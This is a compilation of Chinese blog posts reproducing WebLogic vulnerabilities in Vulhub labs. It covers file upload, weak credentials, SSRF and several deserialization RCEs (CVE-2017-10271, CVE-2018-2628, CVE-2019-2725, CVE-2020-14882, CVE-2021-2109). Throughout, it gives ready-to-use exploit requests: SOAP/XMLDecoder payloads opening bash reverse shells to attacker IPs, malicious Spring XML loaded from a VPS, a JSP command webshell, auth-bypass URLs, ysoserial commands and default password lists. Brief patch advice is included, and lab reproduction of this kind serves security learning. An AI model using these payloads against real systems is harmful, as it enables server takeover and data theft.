精华内容
下载资源
问答
  • weblogic漏洞
    千次阅读
    2022-01-17 18:29:16

    目录

    前言

    一、任意文件上传

    1.1影响范围

    1.2 漏洞详情

    二、弱口令+后台war包

    三、ssrf漏洞

    3.1影响范围 

    3.2 漏洞详情

    四、反序列化漏洞

    总结


    前言

    weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,本文介绍常见的几个weblogic漏洞原理、复现。

    一、任意文件上传

    1.1影响范围

    weblogic 10.3.6.0

    weblogic 12.1.3.0

    weblogic 12.2.1.2

    weblogic 12.2.1.3

    1.2 漏洞详情

            首先确保可以未授权访问路径http://xx.xx.xx.xx/ws_utc/config.do

     

            要更该工作目录为我们可以访问的目录,原目录我们无权限访问,若该路径为

    xxxxxxx\domains\base_domain\tmp\WSTestPageWorkDir

    将其改为

    \domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css保存。

    点击安全,上传keystore文件(即jsp脚本)

     

     

     

    记住这里的时间戳,访问

    http://xx.xx.xx.xx/ws_utc/css/config/keystore/时间戳_whoami.jsp

    二、弱口令+后台war包

            登录后台以后,在这里上传war包(jsp木马插入),然后访问此war包即可执行任意命令,获取shell

    三、ssrf漏洞

    3.1影响范围 

    10.0.2.0

    10.3.6.0

    3.2 漏洞详情

            访问/uddiexplorer/SearchPublicRegistries.jsp看是否能访问到

            抓包,漏洞点在operator

    四、反序列化漏洞

            序列化即是对象转换成字符的过程,反序列化是字符转换成对象的过程,若攻击者控制反序列化的参数,就可能导致插入恶意语句,执行任意命令,常见的有

    CVE-2015-4852  、CVE-2018-2893等,反序列化可以单开一个文章介绍。

    总结

            weblogic作为常见的中间件,漏洞影响范围非常大, 需要严格控制未授权以及弱口令,防止访问到存在漏洞的敏感文件。同时可以删除不必要的文件,升级版本等来防止攻击者通过weblogic利用漏洞

     

    更多相关内容
  • weblogic漏洞检测集合工具支持一键检测多个weblogic漏洞weblogic漏洞检测集合工具支持一键检测多个weblogic漏洞
  • :police_officer_light_skin_tone:‍ 使用方法&免责usage: python3 weblogic_scan.py [ip.txt] [Thread_num]1、批量检测weblogic漏洞工具,兼容Linux和Windows2、自己可以自定义扫描端口,端口字典在 /Payload/...
  • Weblogic漏洞扫描工具

    2019-02-22 11:32:41
    console 页面探测 & 弱口令扫描、uuid页面的SSRF、CVE-2017-10271 wls-wsat页面的反序列化、CVE-2018-2628 反序列化等功能。
  • Oracle的高危远程代码执行漏洞(CVE-2018-2893),通过该漏洞攻击者可以在未授权的情况下远程执行任意代码。 受此漏洞影响的版本包括: WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.2 WebLogic 12.2.1.3 ...
  • weblogic 漏洞复现

    千次阅读 2022-03-11 17:10:45
    cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录 sudo service docker start //启动docker服务 docker-compose up -d //...漏洞成因:WebLogic 管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限
    cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录
    
    sudo service docker start //启动docker服务
    
    docker-compose up -d //启动
    
    docker-compose stop //测试完毕后停止服务
    
    docker-compose down //移除容器
    

    Weblogic 任意文件上传漏洞(CVE-2018-2894)

    漏洞成因:WebLogic 管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限

    漏洞地址

    /ws_utc/begin.do
    /ws_utc/config.do

    默认端口:7001

    影响版本
    WebLogic :10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

    复现

    启动对应得docker后,访问登录页面http://192.168.220.129:7001/console

    进入靶机查看Webloic密码得密码以便于进行登录然后进行漏洞环境得配置。执行docker-compose logs | grep password。

    在这里插入图片描述

    进行登录

    然后在base_domain中得高级选项(advenced)中,设置启用WEB服务测试页(Enables web service test Page),然后保存

    在这里插入图片描述

    在这里插入图片描述

    上述设置,就是漏洞存在的环境,若是管理员如此设置对应版本得Weblogic即会导致任意文件上传得问题。

    做了上述设置后,无需登录即可上传shell 了

    访问http://192.168.220.129:7001/ws_utc/config.do

    将当前工作目录改为其他目录,提交保存

    在这里插入图片描述

    替换目录为

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
    

    来到设置中得安全,点击添加,通过浏览上传shell即可
    在这里插入图片描述

    在这里插入图片描述

    上传过程中抓取返回包,即可看到上传得时间戳,

    在这里插入图片描述

    shell的位置

    http://192.168.220.129:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
    
    修复建议

    (1)设置config.do,begin.do页面登录授权后才能访问
    (2)更新产品版本,安装安全补丁

    Weblogic弱口令&文件读取漏洞

    漏洞描述:weblogic后台存在一个弱口令,并且前台存在任意文件读取漏洞。weblogic密码使用AES加密,找到用户的密文与加密时的密钥即可解密。

    受影响版本:weblogic版本:10.3.6(11g)

    复现

    通过弱口令weblogic/Oracle@123进入系统

    点击部署,让点击安装,
    在这里插入图片描述

    点击上载文件
    在这里插入图片描述

    在部署档案这里点击浏览上传war文件,war 文件就是将jsp文件添加到压缩包,然后将压缩包的后缀改为.war即可。

    在这里插入图片描述

    上传完成后,一直点击下一步,知道出现保存,点击保存,则已经完成上传。
    在这里插入图片描述

    在这里插入图片描述

    shell 地址为http://192.168.220.129:7001/shell/shell.jsp,因为我们的war包名称是shell,所以路径中会有一个shell.

    在这里插入图片描述

    冰蝎链接
    在这里插入图片描述

    Weblogic对于登录的爆破貌似有限制,不建议直接上来就爆破,常见弱口令有以下等等。

    用户名密码
    systempassword
    weblogicweblogic
    adminsecurity
    joepassword
    marypassword
    systemsecurity
    wlcsystemwlcsystem
    wlpisystemwlpisystem

    密码破解

    如果网站存在任意文件下载等漏洞,我们还可以通过破解的方式获取密码。

    weblogic密码使用AES加密,AES为对称加密方式,如果找到密钥/密文即可解密。

    Weblogic将用户的密文与密钥保存在本地

    /root/Oracle/Middleware/user_projects/domains/base_domain文件夹中,分别为如下两个文件:

    ./security/SerializedSystemIni.dat 密钥

    ./config/config.xml 密文

    使用任意文件下载,下载该两个文件。
    vulhub测试环境存在一个任意文件下载漏洞:

    http://192.168.220.129:7001/hello/file.jsp?path=/etc/passwd

    下载对应的文件,使用vulhub中自带的脚本解密即可获得weblogic的密码。

    修复建议

    将weblogic版本升级到最新版本。

    Weblogic未认证远程命令执行(CVE-2020-14882,CVE-2020-14883)

    漏洞描述:CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

    受影响版本

    Weblogic : 10.3.6.0.0
    Weblogic : 12.1.3.0.0
    Weblogic : 12.2.1.3.0
    Weblogic : 12.2.1.4.0
    Weblogic : 14.1.1.0.0

    漏洞复现

    使用以下链接绕过weblogic认证。

    http://192.168.200.129:7001/console/css/%252e%252e%252fconsole.portal
    

    确实可以不经过认证,直接进入weblogic

    在这里插入图片描述

    但此时访问后台是一个低权限的用户,无法安装应用,也无法直接执行任意代码,也无权上传webshell。

    CVE-2020-14883可通过构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。

    第一种方法:com.tangosol.coherence.mvel2.sh.ShellSession
    第二种方法:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
    

    第一种方法只适用于Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession
    第二种方法是一种更为通杀的方法,它首先在 CVE-2019-2725 中引入,可用于任何Weblogic版本。但该方法利用的缺点在于,它需要Weblogic服务器能够访问恶意XML。

    http://192.168.220.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
    

    可以看到执行成功,创建了success1文件。

    在这里插入图片描述

    制作一个恶意的 XML 文件并将其提供在 Weblogic 可以访问的服务器上。这里我放在vps的/var/www/html目录下。

    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
    <list>
    <value>bash</value>
    <value>-c</value>
    <value><![CDATA[touch /tmp/success2]]></value>
    </list>
    </constructor-arg>
    </bean>
    </beans>
    

    通过访问以下链接,引入恶意xml,执行命令

    http://192.168.220.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://VPS_IP/rce.xml")
    
    
    

    反弹shell的xml

    
    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
    <list>
    <value>bash</value>
    <value>-c</value>
    <value><![CDATA[bash -i >& /dev/tcp/vps_IP/8899 0>&1]]></value>
    </list>
    </constructor-arg>
    </bean>
    </beans
    

    记得监听对应的端口

    修复建议

    安装Oracle官方发布的补丁程序https://www.oracle.com/security-alerts/cpuoct2020traditional.html

    Weblogic ssrf 漏洞

    漏洞描述:Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

    受影响版本
    Oracle WebLogic Server 10.3.6.0
    Oracle WebLogic Server 10.0.2.0

    http://192.168.220.129:7001/uddiexplorer/

    在这里插入图片描述

    SSRF漏洞存在于:http://192.168.14.128:7001/uddiexplorer/SearchPublicRegistries.jsp,
    在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001:

    http://192.168.220.129:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
    

    在这里插入图片描述

    原数据包为post,改为get请求仍旧可以、

    在这里插入图片描述

    端口为WEb端口且开放

    在这里插入图片描述

    端口未开放

    在这里插入图片描述

    如果访问的非http协议,则会返回did not have a valid SOAP content-type。

    weblogic的的ssrf的漏洞利用与gopher协议有点像,可以直接执行多条命令,将命令以\r\n来换行,然后全部进行url编码,放在要攻击的地址的后面就行了,不过要在最前面加上一个\r\n的换行

    Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271)

    漏洞描述:Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。CVE-2017-10271漏洞补丁修复后,CVE-2019-2725是对该漏洞的绕过。

    影响版本

    10.3.6.0.0
    12.1.3.0.0
    12.2.1.1.0
    12.2.1.2.0

    漏洞复现

    数据包报文内容

    POST /wls-wsat/CoordinatorPortType HTTP/1.1
    Host: 192.168.220.129:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: text/xml
    Content-Length: 644
    
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/192.168.220.129/8000 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    
    
    

    返回状态码500,反弹shell成功了。

    在这里插入图片描述

    在这里插入图片描述

    写入木马的poc

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmd.jsp</string>
    <void method="println"><string>
    <![CDATA[
    <%
    if("123".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    }
    %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    
    修复建议

    1、下载Oracle推送补丁,下载地址如下

    http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;

    2、根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。

    weblogic_WLS-Core_Components反序列化命令执行漏洞(CVE-2018-2628)

    漏洞描述

    该漏洞通过T3协议触发,可导致未授权的用户在远程执行任意命令。

    影响版本

    Weblogic 10.3.6.0
    Weblogic 12.1.3.0
    Weblogic 12.2.1.2
    Weblogic 12.2.1.3(项目列表)

    漏洞复现

    使用nmap 扫描探测

    nmap -p 7001,7002 -v -n --script weblogic-t3-info 10.10.10.130
    

    在这里插入图片描述

    使用使用 https://www.exploit-db.com/exploits/44553 中的脚本进行复现,具体使用方法见脚本。

    下载ysoserial.jar

    
    wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
    
    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping www.baidu.com'
    
    
    python2 exploit.py 192.168.220.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.220.1 1099 JRMPClient2
    
    
    

    在这里插入图片描述

    python 脚本虽然报错了,但是执行成功
    在这里插入图片描述

    可以看到发起了ping的请求,也可以反弹shell,但是不知道是不是环境原因,很卡,有时候成功
    在这里插入图片描述

    https://jackson-t.ca/runtime-exec-payloads.html

    在这里插入图片描述

    修复建议

    安装官方补丁:

    https://www.oracle.com/security-alerts/cpujul2020.html
    (2)限制T3访问来源。漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。
    (3)禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。
    https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html

    参考

    https://www.freebuf.com/articles/web/287165.html
    https://mp.weixin.qq.com/s/b1YUXhDQhttps://mp.weixin.qq.com/s/b1YUXhDQ4U_m5hP_3lc_rw4U_m5hP_3lc_rw
    https://mp.weixin.qq.cohttps://mp.weixin.qq.com/s/b1YUXhDQ4U_m5hP_3lc_rwm/s/cbrXknj3ubKZrHcUCSvHLQ

    展开全文
  • 漏洞环境使用vulhub docker一键搭建,利用工具包括burp suite,kali等。 weblogic简介: ​ WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、...

    在这里插入图片描述

    前言:

    	漏洞环境使用vulhub docker一键搭建,利用工具包括burp suite,kali等。
    

    weblogic简介:

    ​ WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用数据库应用的Java应用服务器

    ​ WebLogic Server具有开发和部署关键任务电子商务Web应用系统 所需的多种特色和优势,包括:可拓展性、可靠性、体系结构等。

    一 、CVE-2017-10271

    1、漏洞简介

    漏洞类型: XMLDecoder反序列化命令执行漏洞

    漏洞原理: 在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE。

    **影响版本:**10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2

    2、漏洞复现

    1. 访问weblogic站点,进入/wls-wsat/CoordinatorPortType 页面,存在下图所示内容说明可能存在漏洞:
      在这里插入图片描述

    2. 在攻击机(kali)中使用nc监听端口:

      nc -lp 9876
      
    3. 在此页面抓包,提交如下数据包:(注:提交方式使用POST,反弹shell的命令需要进行编码,如下所示)
      在这里插入图片描述

    4. 在攻击机中看到返回shell,此时可执行后续操作。
      在这里插入图片描述

    总结: 此漏洞导致的结果是直接RCE,因此除了反弹shell外,也可以进行写shell、上传木马等操作。详情见:https://www.cnblogs.com/xyongsec/archive/2019/07/03/11125511.html

    二、CVE-2018-2725

    1、漏洞简介

    漏洞类型: T3协议反序列化命令执行漏洞

    漏洞原理: 远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行。

    ​ 此外,由于weblogic 的T3服务,造成的漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638。

    影响范围: 10.3.6.0 ,12.1.3.0 , 12.2.1.2 , 12.2.1.3

    2、漏洞复现

    1. 访问weblogic站点,出现如下图所示界面,说明weblogic搭建成功(显示404是正常现象)
      在这里插入图片描述

    2. 使用nmap 扫描一下,是否开放了weblogic T3服务

      nmap -n -v -p 7001,7002 192.168.17.251 --script=weblogic-t3-info
      

    在这里插入图片描述

    1. 使用漏洞利用工具K8WeblogicGUI.exe进行漏洞利用,上传shell:
      在这里插入图片描述

    2. 使用cve-2018-2628.py连接刚刚上传的shell(箭头所指位置输入刚刚上传的shell的URL),获取交互式shell。此后可以上传CS马或者冰蝎马等进一步操作。
      在这里插入图片描述

    三、CVE-2018-2894

    1、漏洞简介

    漏洞类型: 未授权访问导致任意文件上传

    漏洞原理: 在ws-testpage-impl.jar/com.oracle.webservices.testclient.ws.res.WebserviceResource 类中存在importWsTestConfig方法
    在这里插入图片描述

    ​ 跟进 RSdataHelper的convertFormDataMultiPart方法,接下来调用convertFormDataMultiPart方法,文件直接由字段 文件名拼接而成,没有任何限制。

    在这里插入图片描述

    影响范围: 10.3.6.0、12.1.3.0、12.2.1.2、 12.2.1.3。

    2、漏洞复现

    1. 使用docker搭建漏洞环境,进入weblogic控制台登录页面:
      在这里插入图片描述

    2. 进入docker部署的主机,使用 “docker-compose logs |grep password” 查看weblogic后台登录账号信息。
      在这里插入图片描述

    3. 登录后台,点击base_domain的配置,在“高级”中勾选“启用web服务测试页",然后保存配置。
      在这里插入图片描述

    在这里插入图片描述

    1. 访问/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,访问这个目录是无需权限的,这一点很重要。
      在这里插入图片描述

    2. 然后点击“安全->添加”,上传jsp木马。
      在这里插入图片描述

    3. 审查元素,查看时间戳(也可以抓包查看)。
      在这里插入图片描述

    4. 访问木马ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell。

      在这里插入图片描述

    5. 使用蚁剑或者菜刀连接shell即可(此处上传马有问题,使用的哥斯拉的马进行连接)。
      在这里插入图片描述

    四、CVE-2019-2725

    1、漏洞简介

    漏洞类型:wls-wsat反序列化漏洞

    漏洞原理:漏洞触发点在bea_wls9_async_response.war、wsat.war ,通过CVE-2019-2725补丁分析发现,较上一个漏洞CVE-2017-10271补丁而言,官方新增了对class元素的过滤,并且array元素的length属性转换为整形后不得大于10000:
    在这里插入图片描述
    在这里插入图片描述

    本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行。

    影响范围: 10.* ,12.1.3

    2、漏洞复现

    **说明:**vulhub中,没有该漏洞的单独镜像,可以使用CVE-2018-2894等漏洞环境的镜像,满足版本条件基本上都可以。

    1. 访问目标站点以下目录,如果存在下图所示界面,说明就存在漏洞:

      /_async/AsyncResponseService
      /_async/AsyncResponseServiceJms
      /_async/AsyncResponseServiceHttps
      /_async/AsyncResponseServiceSoap12
      /_async/AsyncResponseServiceSoap12Jms
      /_async/AsyncResponseServiceSoap12Https
      

    在这里插入图片描述

    1. 在kali中使用nc监听端口:
      在这里插入图片描述

    2. 在当前页面抓包,提交一下内容:

      POST /_async/AsyncResponseService HTTP/1.1
      Host: IP:PORT
      Upgrade-Insecure-Requests: 1
      User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
      Connection: close
      Content-Length: 859
      Accept-Encoding: gzip, deflate
      SOAPAction:
      Accept: */*
      User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
      Connection: keep-alive
      content-type: text/xml
      
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
      xmlns:asy="http://www.bea.com/async/AsyncResponseService">
      <soapenv:Header>
      <wsa:Action>xx</wsa:Action>
      <wsa:RelatesTo>xx</wsa:RelatesTo>
      <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <void class="java.lang.ProcessBuilder">
      <array class="java.lang.String" length="3">
      <void index="0">
      <string>/bin/bash</string>
      </void>
      <void index="1">
      <string>-c</string>
      </void>
      <void index="2">
      <string>bash -i &gt;&amp; /dev/tcp/192.168.17.132/44444 0&gt;&amp;1</string>
      </void>
      </array>
      <void method="start"/></void>
      </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body>
      <asy:onAsyncDelivery/>
      </soapenv:Body></soapenv:Envelope>
      
      

    在这里插入图片描述

    1. 提交成功,返回202,查看nc监听结果,返回shell成功。
      在这里插入图片描述

    五、CVE-2020-14882

    1、漏洞简介

    **漏洞类型:**未授权访问导致的远程代码执行漏洞

    漏洞原理: 远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者可在未经身份验证的情况下控制 WebLogic Server Console ,并执行任意代码。

    影响范围: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0,14.1.1.0.0

    详见: https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4

    2、漏洞复现

    1. 直接构建poc,访问控制台,达到未授权访问的效果

      http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
      

    在这里插入图片描述

    1. 此时由于访问了控制台,但是没有安装部署的按钮,所以不能像常规操作一样getshell,因此需要通过远程加载xml文档的方法来反弹shell。
    • 第一步:构造远程xml文档,内容如下,并开启临时http文件共享服务:

      <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg>
      <list>
      <value>/bin/bash</value>
      <value>-c</value>
      <value><![CDATA[bash -i >& /dev/tcp/192.168.17.132/5555 0>&1]]></value>
      </list>
      </constructor-arg>
      </bean>
      </beans>
      

    在这里插入图片描述

    • 第二步:使用poc执行代码在/tmp目录下创建test目录,以检测代码执行poc能否顺利执行。

      执行poc:http://192.168.17.244:7001//console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test%27);%22);
      

      进入docker查看创建结果:docker exec -it cve-2020-14882_weblogic_1 /bin/bash
      在这里插入图片描述

      创建成功,说明代码顺利执行。

    • 第三步:nc监听端口,并加载远程XML文档。

      加载xml文档poc:http://192.168.17.244:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(%22http://192.168.17.132:8090/test.xml%22)
      

      执行结果:nc 收到反弹shell。
      在这里插入图片描述

    六、CVE-2021-2109

    注:由于vulnhub 的docker镜像中,暂时没有该漏洞的镜像,因此使用CVE-2020-14882漏洞镜像进行的复现。

    1、漏洞简介

    漏洞类型: 远程代码执行漏洞

    **漏洞原理:**漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。

    影响范围:

    WebLogic 10.3.6.0.0
    WebLogic 12.1.3.0.0
    WebLogic 12.2.1.3.0
    WebLogic 12.2.1.4.0
    WebLogic 14.1.1.0.0
    

    2、漏洞复现

    • 访问/console/css/%252e%252e%252f/consolejndi.portal,如果能进入后太,出现一下界面,说明存在漏洞。
      在这里插入图片描述

    • 在攻击机1(kali)上使用ldap脚本起一个JDNI服务:java -jar JNDIExploit-v1.11.jar -i 192.168.xx.xx ,此处IP设置为自己的服务器IP,ldap脚本下载地址: https://github.com/feihong-cs/JNDIExploit
      在这里插入图片描述

    • 在攻击机2(windows 10)抓包发送payload:/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) 此处需要注意的是IP的第三个“."需要使用”;"替换,并且在HTTP头帐加入CMD内容。
      在这里插入图片描述

    展开全文
  • [Vulhub] Weblogic 漏洞复现

    千次阅读 2021-09-06 09:32:13
    Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725) 0x00 漏洞描述 Weblogic反序列化远程代码执行漏洞。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送特意构造的恶意HTTP请求,利用该...


    Weblogic 常规渗透测试环境

    0x00 测试环境

    本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

    Weblogic版本:10.3.6
    Java版本:1.6


    0x01 弱口令

    weblogic常用弱口令:

    system / password
    weblogic / weblogic
    weblogic / Oracle@123
    admin / admin
    joe / password
    mary / password
    system / security
    wlcsystem / 	wlcsystem
    wlpisystem / wlpisystem
    

    0x02 任意文件读取漏洞的利用

    本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件
    在这里插入图片描述
    weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml

    SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
    在这里插入图片描述
    config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码:
    在这里插入图片描述
    然后就可以使用工具解密密文了。


    0x03 后台上传webshell

    进入后台,点击左侧【部署】 => 【安装】 => 【上载文件】:
    在这里插入图片描述
    一直点上面的下一步:
    在这里插入图片描述
    点击完成,保存:
    在这里插入图片描述
    访问大马连接:
    在这里插入图片描述


    Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

    0x00 漏洞描述

    T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。

    反射机制:
    Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方向和属性;这种动态获取的信息以及动态调用对象的方法称为 java 语言的反射机制。

    RMI:
    RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

    RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开放,并且服务端使用了像Apache Commons Collections这类库,那么回导致远程命令执行。

    RMI依赖Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。

    绕过黑名单:
